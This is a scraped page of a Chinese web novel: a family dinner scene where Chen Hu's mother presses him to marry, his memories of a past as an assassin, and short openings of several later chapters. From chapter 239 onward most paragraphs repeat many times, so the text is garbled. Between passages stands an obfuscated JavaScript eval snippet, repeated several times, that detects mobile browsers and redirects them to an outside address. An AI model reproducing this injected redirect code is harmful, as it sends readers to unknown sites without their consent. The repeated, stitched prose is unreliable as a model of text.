午后,陈虎家中,饭桌上。 “小真,好好吃饭,别玩筷子!杨蓉伸手轻轻拍了一下陈真的小手。 小家伙吐了吐舌头,乖乖地扒拉着碗里的米饭。 一旁的陈瑶正专心致志地对付一块红烧肉,小脸蛋上沾满了油渍,煞是可爱。 杨蓉看着眼前的两个孩子,脸上露出了慈祥的笑容。 日子过得真快啊,转眼间,这两个小家伙都这么大了。 以前为了他们的口粮,她可是操碎了心。 现在,家里不仅不缺吃穿,还能供他们上学读书。 这一切,都多亏了陈虎。 “虎子,你跟若薇那丫头也处对象好几个月了,快有半年了吧?杨蓉突然开口,语气里面,带着一丝试探。 陈虎正夹着一块鱼肉,闻言不由得抬起头,笑着说道:“妈,您又来了。 “什么叫又来了?我这不是关心你嘛!杨蓉佯装生气地瞪了陈虎一眼。 “好!好!好!我知道您关心我!陈虎连忙赔笑道。 “那你倒是说说,你俩啥时候结婚啊?杨蓉继续追问。 陈虎随后放下筷子,一脸认真地说道:“妈,结婚是大事,我和若薇都还在考虑。 “考虑啥啊?你们都老大不小了,还考虑啥?杨蓉有些不满。 “妈,我们想等事业稳定下来再说。陈虎十分耐心地解释。 “事业?你现在的陈氏粮农集团还不够稳定吗?杨蓉反问道。 陈虎闻言,不由得笑了笑,却没有说话。 他明白母亲的心思,无非就是想早点抱孙子。 前世的他,早早地就失去了家庭这个羁绊。 如今两世为人,虽然有些情感 缺失,但他的内心深处,仍然渴望拥有一个完整的家庭。 “妈,您放心,我和若薇会认真考虑结婚的事情。”陈虎再次保证道。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14784602|153634||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 杨蓉这才满意地点了点头,继续吃饭。 陆无双和红拂女两人坐在一旁,默默地听着母子俩的对话。 听到杨蓉催婚,陆无双的脸上不由得闪过了一丝黯然。 红拂女则是一脸平静,仿佛事不关己。 陈虎注意到了两人的表情,心中当即一阵无奈。 怎么前世没那么多的情感纠葛? 感情是攒在一起,到如今一起兑现了? “来!多吃点鱼!”陈虎随后夹了一块鱼肉放到杨蓉碗里,岔开了话题。 杨蓉笑着接过鱼肉,说道:“你也多吃点,看你瘦的!” 陈虎闻言,点了点头,然后继续吃饭。 餐桌上的气氛,再次变得其乐融融。 陈虎看着眼前的家人,心中不由得充满了温暖。 这就是家的感觉,前世他求而不得的温暖。 窗外,阳光洒进屋内,照亮了每个人的脸庞。 这平凡的一幕,却显得格外温馨。 一个家庭的缩影,在这一刻,展现得淋漓尽致。 而陈虎,也在这份亲情之中,恍若过去缺失破碎的一角被重新找回一样。 陈虎随后夹起一块红烧肉,放进陈瑶的碗里。 小姑娘甜甜地说了声“谢谢哥哥!” 陈虎闻言,当即笑了笑,心里却在思考着易天行说过的话。 一个人的性格,无疑是环境塑造的。 就像他,前世在九头蛇组织的那段日子,几乎变成了一个没有感情的杀戮机器。 他不由得想起第一次执行任务的场景。 那是一个边境小镇,目标是一个叛逃的科学家。 他潜入小镇,干净利落地解决了目标。 撤退的时候,他看到一个抱着洋娃娃的小女孩,站在被炸毁的房屋前哭泣。 那一刻,他的心中当即闪过一丝异样,但很快就被任务完成的兴奋所取代。 后来,他执行过各种各样的任务,暗杀、绑架、破坏…… 他见过了太多的死亡,也制造了太多的死亡。 他逐渐麻木,忘记了什么是怜悯,什么是同情。 直到遇见易天行。 那个神秘而博学的怪老头,像一道光,照进了他黑暗的世界。 易天行教他读书,教他思考,教他认识这个世界…… 第239章 你的考题,才答对了一半! 成小天被粗暴地被拽下车,那些白人匪徒推搡着他往前走。 蒙眼的黑布被扯掉,刺眼的阳光让得成小天陷入短暂失明的状态。 成小天眨了眨眼,适应了光线后,才看清周围的环境。 成小天被粗暴地被拽下车,那些白人匪徒推搡着他往前走。 蒙眼的黑布被扯掉,刺眼的阳光让得成小天陷入短暂失明的状态。 成小天眨了眨眼,适应了光线后,才看清周围的环境。 成小天被粗暴地被拽下车,那些白人匪徒推搡着他往前走。 蒙眼的黑布被扯掉,刺眼的阳光让得成小天陷入短暂失明的状态。 成小天眨了眨眼,适应了光线后,才看清周围的环境。 成小天被粗暴地被拽下车,那些白人匪徒推搡着他往前走。 蒙眼的黑布被扯掉,刺眼的阳光让得成小天陷入短暂失明的状态。 成小天眨了眨眼,适应了光线后,才看清周围的环境。 成小天被粗暴地被拽下车,那些白人匪徒推搡着他往前走。 蒙眼的黑布被扯掉,刺眼的阳光让得成小天陷入短暂失明的状态。 成小天眨了眨眼,适应了光线后,才看清周围的环境。 成小天被粗暴地被拽下车,那些白人匪徒推搡着他往前走。 蒙眼的黑布被扯掉,刺眼的阳光让得成小天陷入短暂失明的状态。 成小天眨了眨眼,适应了光线后,才看清周围的环境。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14784604|153634||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 成小天被粗暴地被拽下车,那些白人匪徒推搡着他往前走。 蒙眼的黑布被扯掉,刺眼的阳光让得成小天陷入短暂失明的状态。 成小天眨了眨眼,适应了光线后,才看清周围的环境。 成小天被粗暴地被拽下车,那些白人匪徒推搡着他往前走。 蒙眼的黑布被扯掉,刺眼的阳光让得成小天陷入短暂失明的状态。 成小天眨了眨眼,适应了光线后,才看清周围的环境。 成小天被粗暴地被拽下车,那些白人匪徒推搡着他往前走。 蒙眼的黑布被扯掉,刺眼的阳光让得成小天陷入短暂失明的状态。 成小天眨了眨眼,适应了光线后,才看清周围的环境。 第242章 一个遥不可及的梦! 氤氲的雾气之中,陈虎仿佛又回到了那座孤岛。 炙热的阳光洒在金色的沙滩上,易天行瘦削的身影半躺在沙滩椅上,手里拿着一本破旧的《乌托邦》。 “西方孜孜以求的乌托邦,东方苦苦追寻的大同世界,说到底,都是对理想社会的憧憬。”易天行的声音带着一丝沧桑,仿佛穿越了时空,在陈虎的耳边回响。 氤氲的雾气之中,陈虎仿佛又回到了那座孤岛。 炙热的阳光洒在金色的沙滩上,易天行瘦削的身影半躺在沙滩椅上,手里拿着一本破旧的《乌托邦》。 “西方孜孜以求的乌托邦,东方苦苦追寻的大同世界,说到底,都是对理想社会的憧憬。”易天行的声音带着一丝沧桑,仿佛穿越了时空,在陈虎的耳边回响。 氤氲的雾气之中,陈虎仿佛又回到了那座孤岛。 炙热的阳光洒在金色的沙滩上,易天行瘦削的身影半躺在沙滩椅上,手里拿着一本破旧的《乌托邦》。 “西方孜孜以求的乌托邦,东方苦苦追寻的大同世界,说到底,都是对理想社会的憧憬。”易天行的声音带着一丝沧桑,仿佛穿越了时空,在陈虎的耳边回响。 氤氲的雾气之中,陈虎仿佛又回到了那座孤岛。 炙热的阳光洒在金色的沙滩上,易天行瘦削的身影半躺在沙滩椅上,手里拿着一本破旧的《乌托邦》。 “西方孜孜以求的乌托邦,东方苦苦追寻的大同世界,说到底,都是对理想社会的憧憬。”易天行的声音带着一丝沧桑,仿佛穿越了时空,在陈虎的耳边回响。 氤氲的雾气之中,陈虎仿佛又回到了那座孤岛。 炙热的阳光洒在金色的沙滩上,易天行瘦削的身影半躺在沙滩椅上,手里拿着一本破旧的《乌托邦》。 “西方孜孜以求的乌托邦,东方苦苦追寻的大同世界,说到底,都是对理想社会的憧憬。”易天行的声音带着一丝沧桑,仿佛穿越了时空,在陈虎的耳边回响。 氤氲的雾气之中,陈虎仿佛又回到了那座孤岛。 炙热的阳光洒在金色的沙滩上,易天行瘦削的身影半躺在沙滩椅上,手里拿着一本破旧的《乌托邦》。 “西方孜孜以求的乌托邦,东方苦苦追寻的大同世界,说到底,都是对理想社会的憧憬。”易天行的声音带着一丝沧桑,仿佛穿越了时空,在陈虎的耳边回响。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14788427|153634||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 氤氲的雾气之中,陈虎仿佛又回到了那座孤岛。 炙热的阳光洒在金色的沙滩上,易天行瘦削的身影半躺在沙滩椅上,手里拿着一本破旧的《乌托邦》。 “西方孜孜以求的乌托邦,东方苦苦追寻的大同世界,说到底,都是对理想社会的憧憬。”易天行的声音带着一丝沧桑,仿佛穿越了时空,在陈虎的耳边回响。 氤氲的雾气之中,陈虎仿佛又回到了那座孤岛。 炙热的阳光洒在金色的沙滩上,易天行瘦削的身影半躺在沙滩椅上,手里拿着一本破旧的《乌托邦》。 “西方孜孜以求的乌托邦,东方苦苦追寻的大同世界,说到底,都是对理想社会的憧憬。”易天行的声音带着一丝沧桑,仿佛穿越了时空,在陈虎的耳边回响。 氤氲的雾气之中,陈虎仿佛又回到了那座孤岛。 炙热的阳光洒在金色的沙滩上,易天行瘦削的身影半躺在沙滩椅上,手里拿着一本破旧的《乌托邦》。 “西方孜孜以求的乌托邦,东方苦苦追寻的大同世界,说到底,都是对理想社会的憧憬。”易天行的声音带着一丝沧桑,仿佛穿越了时空,在陈虎的耳边回响。 第245章 孙老必须除掉! 病房里,随后只剩下陈虎和孙仲天、张瑛三人。 气氛,瞬间凝重起来。 “陈虎,我需要知道那天到底发生了什么!”孙仲天语气冰冷,直入主题。 病房里,随后只剩下陈虎和孙仲天、张瑛三人。 气氛,瞬间凝重起来。 “陈虎,我需要知道那天到底发生了什么!”孙仲天语气冰冷,直入主题。 病房里,随后只剩下陈虎和孙仲天、张瑛三人。 气氛,瞬间凝重起来。 “陈虎,我需要知道那天到底发生了什么!”孙仲天语气冰冷,直入主题。 病房里,随后只剩下陈虎和孙仲天、张瑛三人。 气氛,瞬间凝重起来。 “陈虎,我需要知道那天到底发生了什么!”孙仲天语气冰冷,直入主题。 病房里,随后只剩下陈虎和孙仲天、张瑛三人。 气氛,瞬间凝重起来。 “陈虎,我需要知道那天到底发生了什么!”孙仲天语气冰冷,直入主题。 病房里,随后只剩下陈虎和孙仲天、张瑛三人。 气氛,瞬间凝重起来。 “陈虎,我需要知道那天到底发生了什么!”孙仲天语气冰冷,直入主题。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14794787|153634||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 病房里,随后只剩下陈虎和孙仲天、张瑛三人。 气氛,瞬间凝重起来。 “陈虎,我需要知道那天到底发生了什么!”孙仲天语气冰冷,直入主题。 病房里,随后只剩下陈虎和孙仲天、张瑛三人。 气氛,瞬间凝重起来。 “陈虎,我需要知道那天到底发生了什么!”孙仲天语气冰冷,直入主题。 病房里,随后只剩下陈虎和孙仲天、张瑛三人。 气氛,瞬间凝重起来。 “陈虎,我需要知道那天到底发生了什么!”孙仲天语气冰冷,直入主题。 第248章 一刻也不想和你分开! 书房外,孙若薇脸色惨白,双手紧紧攥着衣角。 她听到了书房内传来的争吵声,不由得心如刀绞,但却又无可奈何。 一方是陈虎,她的恋人,另一方又是养育她的父母…… 书房外,孙若薇脸色惨白,双手紧紧攥着衣角。 她听到了书房内传来的争吵声,不由得心如刀绞,但却又无可奈何。 一方是陈虎,她的恋人,另一方又是养育她的父母…… 书房外,孙若薇脸色惨白,双手紧紧攥着衣角。 她听到了书房内传来的争吵声,不由得心如刀绞,但却又无可奈何。 一方是陈虎,她的恋人,另一方又是养育她的父母…… 书房外,孙若薇脸色惨白,双手紧紧攥着衣角。 她听到了书房内传来的争吵声,不由得心如刀绞,但却又无可奈何。 一方是陈虎,她的恋人,另一方又是养育她的父母…… 书房外,孙若薇脸色惨白,双手紧紧攥着衣角。 她听到了书房内传来的争吵声,不由得心如刀绞,但却又无可奈何。 一方是陈虎,她的恋人,另一方又是养育她的父母…… 书房外,孙若薇脸色惨白,双手紧紧攥着衣角。 她听到了书房内传来的争吵声,不由得心如刀绞,但却又无可奈何。 一方是陈虎,她的恋人,另一方又是养育她的父母…… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14799196|153634||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 书房外,孙若薇脸色惨白,双手紧紧攥着衣角。 她听到了书房内传来的争吵声,不由得心如刀绞,但却又无可奈何。 一方是陈虎,她的恋人,另一方又是养育她的父母…… 书房外,孙若薇脸色惨白,双手紧紧攥着衣角。 她听到了书房内传来的争吵声,不由得心如刀绞,但却又无可奈何。 一方是陈虎,她的恋人,另一方又是养育她的父母…… 书房外,孙若薇脸色惨白,双手紧紧攥着衣角。 她听到了书房内传来的争吵声,不由得心如刀绞,但却又无可奈何。 一方是陈虎,她的恋人,另一方又是养育她的父母…… 第251章 我一定要把他绳之以法! 张志伟,马关口警察局副局长。 他出身军人世家,爷爷和父亲都曾是军人。 在马关口这个小县城,他自然算得上一个人物,本可以安安稳稳地过日子,却偏偏盯上了陈虎。 张志伟,马关口警察局副局长。 他出身军人世家,爷爷和父亲都曾是军人。 在马关口这个小县城,他自然算得上一个人物,本可以安安稳稳地过日子,却偏偏盯上了陈虎。 张志伟,马关口警察局副局长。 他出身军人世家,爷爷和父亲都曾是军人。 在马关口这个小县城,他自然算得上一个人物,本可以安安稳稳地过日子,却偏偏盯上了陈虎。 张志伟,马关口警察局副局长。 他出身军人世家,爷爷和父亲都曾是军人。 在马关口这个小县城,他自然算得上一个人物,本可以安安稳稳地过日子,却偏偏盯上了陈虎。 张志伟,马关口警察局副局长。 他出身军人世家,爷爷和父亲都曾是军人。 在马关口这个小县城,他自然算得上一个人物,本可以安安稳稳地过日子,却偏偏盯上了陈虎。 张志伟,马关口警察局副局长。 他出身军人世家,爷爷和父亲都曾是军人。 在马关口这个小县城,他自然算得上一个人物,本可以安安稳稳地过日子,却偏偏盯上了陈虎。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14804298|153634||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 张志伟,马关口警察局副局长。 他出身军人世家,爷爷和父亲都曾是军人。 在马关口这个小县城,他自然算得上一个人物,本可以安安稳稳地过日子,却偏偏盯上了陈虎。 张志伟,马关口警察局副局长。 他出身军人世家,爷爷和父亲都曾是军人。 在马关口这个小县城,他自然算得上一个人物,本可以安安稳稳地过日子,却偏偏盯上了陈虎。 张志伟,马关口警察局副局长。 他出身军人世家,爷爷和父亲都曾是军人。 在马关口这个小县城,他自然算得上一个人物,本可以安安稳稳地过日子,却偏偏盯上了陈虎。 第254章 你们到底隶属于谁? 家猫与野猫的区别就在于,家猫忘却了弱肉强食的丛林法则。 山林内,冷风咧咧,陈虎吐出了一口浊气,目光如炬。 家猫退化了狩猎本能,甚至于还保留了许多幼态,例如撒娇打滚,例如踩奶…… 家猫与野猫的区别就在于,家猫忘却了弱肉强食的丛林法则。 山林内,冷风咧咧,陈虎吐出了一口浊气,目光如炬。 家猫退化了狩猎本能,甚至于还保留了许多幼态,例如撒娇打滚,例如踩奶…… 家猫与野猫的区别就在于,家猫忘却了弱肉强食的丛林法则。 山林内,冷风咧咧,陈虎吐出了一口浊气,目光如炬。 家猫退化了狩猎本能,甚至于还保留了许多幼态,例如撒娇打滚,例如踩奶…… 家猫与野猫的区别就在于,家猫忘却了弱肉强食的丛林法则。 山林内,冷风咧咧,陈虎吐出了一口浊气,目光如炬。 家猫退化了狩猎本能,甚至于还保留了许多幼态,例如撒娇打滚,例如踩奶…… 家猫与野猫的区别就在于,家猫忘却了弱肉强食的丛林法则。 山林内,冷风咧咧,陈虎吐出了一口浊气,目光如炬。 家猫退化了狩猎本能,甚至于还保留了许多幼态,例如撒娇打滚,例如踩奶…… 家猫与野猫的区别就在于,家猫忘却了弱肉强食的丛林法则。 山林内,冷风咧咧,陈虎吐出了一口浊气,目光如炬。 家猫退化了狩猎本能,甚至于还保留了许多幼态,例如撒娇打滚,例如踩奶…… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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在马关口这个小县城,他自然算得上一个人物,本可以安安稳稳地过日子,却偏偏盯上了陈虎。 张志伟,马关口警察局副局长。 他出身军人世家,爷爷和父亲都曾是军人。 在马关口这个小县城,他自然算得上一个人物,本可以安安稳稳地过日子,却偏偏盯上了陈虎。 张志伟,马关口警察局副局长。 他出身军人世家,爷爷和父亲都曾是军人。 在马关口这个小县城,他自然算得上一个人物,本可以安安稳稳地过日子,却偏偏盯上了陈虎。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14804298|153634||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 张志伟,马关口警察局副局长。 他出身军人世家,爷爷和父亲都曾是军人。 在马关口这个小县城,他自然算得上一个人物,本可以安安稳稳地过日子,却偏偏盯上了陈虎。 张志伟,马关口警察局副局长。 他出身军人世家,爷爷和父亲都曾是军人。 在马关口这个小县城,他自然算得上一个人物,本可以安安稳稳地过日子,却偏偏盯上了陈虎。 张志伟,马关口警察局副局长。 他出身军人世家,爷爷和父亲都曾是军人。 在马关口这个小县城,他自然算得上一个人物,本可以安安稳稳地过日子,却偏偏盯上了陈虎。 第254章 你们到底隶属于谁? 家猫与野猫的区别就在于,家猫忘却了弱肉强食的丛林法则。 山林内,冷风咧咧,陈虎吐出了一口浊气,目光如炬。 家猫退化了狩猎本能,甚至于还保留了许多幼态,例如撒娇打滚,例如踩奶…… 家猫与野猫的区别就在于,家猫忘却了弱肉强食的丛林法则。 山林内,冷风咧咧,陈虎吐出了一口浊气,目光如炬。 家猫退化了狩猎本能,甚至于还保留了许多幼态,例如撒娇打滚,例如踩奶…… 家猫与野猫的区别就在于,家猫忘却了弱肉强食的丛林法则。 山林内,冷风咧咧,陈虎吐出了一口浊气,目光如炬。 家猫退化了狩猎本能,甚至于还保留了许多幼态,例如撒娇打滚,例如踩奶…… 家猫与野猫的区别就在于,家猫忘却了弱肉强食的丛林法则。 山林内,冷风咧咧,陈虎吐出了一口浊气,目光如炬。 家猫退化了狩猎本能,甚至于还保留了许多幼态,例如撒娇打滚,例如踩奶…… 家猫与野猫的区别就在于,家猫忘却了弱肉强食的丛林法则。 山林内,冷风咧咧,陈虎吐出了一口浊气,目光如炬。 家猫退化了狩猎本能,甚至于还保留了许多幼态,例如撒娇打滚,例如踩奶…… 家猫与野猫的区别就在于,家猫忘却了弱肉强食的丛林法则。 山林内,冷风咧咧,陈虎吐出了一口浊气,目光如炬。 家猫退化了狩猎本能,甚至于还保留了许多幼态,例如撒娇打滚,例如踩奶…… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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